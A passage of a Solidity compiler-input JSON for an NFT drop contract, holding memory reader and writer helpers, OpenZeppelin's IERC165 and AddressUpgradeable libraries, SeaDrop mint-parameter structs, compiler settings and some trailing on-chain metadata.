readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"src/lib/ERC721SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n"
}
},
"settings": {
"remappings": [
"forge-std/=lib/forge-std/src/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"ERC721A/=lib/ERC721A/contracts/",
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@rari-capital/solmate/=lib/seaport/lib/solmate/",
"murky/=lib/murky/src/",
"create2-scripts/=lib/create2-helpers/script/",
"seadrop/=src/",
"seaport-sol/=lib/seaport/lib/seaport-sol/",
"seaport-types/=lib/seaport/lib/seaport-types/",
"seaport-core/=lib/seaport/lib/seaport-core/",
"seaport-test-utils/=lib/seaport/test/foundry/utils/",
"solady/=lib/solady/"
],
"optimizer": {
"enabled": true,
"runs": 99999999
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"libraries": {}
}
}}
|
1 | 19,502,320 |
f4c5786a8ced5d830c86f4fe777c82d47354d8e7ec9f68d16dd83aacae04513c
|
a49984c3b854930293a4c6ced89051c15c7472c4445da21ff9b6e85b133118cf
|
ecc9058c2b456c57a248bca6817869bc839c7d28
|
ecc9058c2b456c57a248bca6817869bc839c7d28
|
f3fdf625ab38dd5fbf55b59bd5ab13bbc8abf9f3
|
